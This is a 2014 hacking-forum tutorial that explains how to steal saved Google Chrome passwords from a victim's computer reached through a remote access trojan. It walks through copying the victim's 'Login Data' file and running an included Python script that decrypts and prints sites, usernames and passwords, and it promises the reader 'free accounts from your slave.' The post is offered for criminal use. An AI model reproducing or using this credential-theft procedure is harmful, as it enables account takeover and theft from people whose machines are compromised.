Forum:Hack Forums

Thread: [TUT] Google Chrome Stored Passwords Crack (Manual) [TUT]

cherty759 - *June 4, 2014, 11:56 am*

I'm going to start by saying that i really love Darkcomet but if there is one feature that i find to be really buggy
it is the 'Stored Passwords' function.

This Tutorial will show you how to crack these Passwords as long as you have remote acces to the PC you are 'hacking'.

Why Chrome?
Take a look at this table:
http://www.w3schools.com/browsers/browsers_stats.asp

What you need:
Google Chrome (Not essential but means you don't have to edit any code)
Python 2.7.7
A Slave PC
Access to their filesystem
A Brain to read this post

Step 1:
Navigate to --> C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\Login Data (On your Slaves PC)

Step 2:
Download Python (2.7.7(I know its old but the script we use later is too!)) from Here, and install it

Step3:
If you are using a RAT just download the Victims 'Login Data' File to your system.

Step 4 [IMPORTANT]:
Locate your own 'Login Data' file and place it on the desktop so you still
have your passwords saved after this TUT.(you might have to end Chrome to make this work)

Step 5:
Place the victims 'Login Data' file in YOUR default folder --> C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\[VICTIM FILE HERE]

Step 6:
Download the Win32 extension and install it from here:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

Step 7:
Enter this code into notepad:

Quote:#The MIT License (MIT)

```
# Copyright © 2012 Jordan Wright <jordan-wright.github.io>

# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
# THE SOFTWARE.

from os import getenv
import sqlite3
import win32crypt

# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login
Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
  # Decrypt the Password
 password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
 if password:
  print 'Site: ' + result[0]
  print 'Username: ' + result[1]
  print 'Password: ' + password
```

save it as 'chrome_extract.py'

Step 8:
Open a CMD window (Winkey+x) Then drag the 'chrome_extract.py' file on top of the CMD window

Now hit 'ENTER'.

And there you go, all the saved passwords should become decrypted and you now have many free accounts from your slave!

Time it takes to write: 30 mins

Time it takes to thank: 3 secs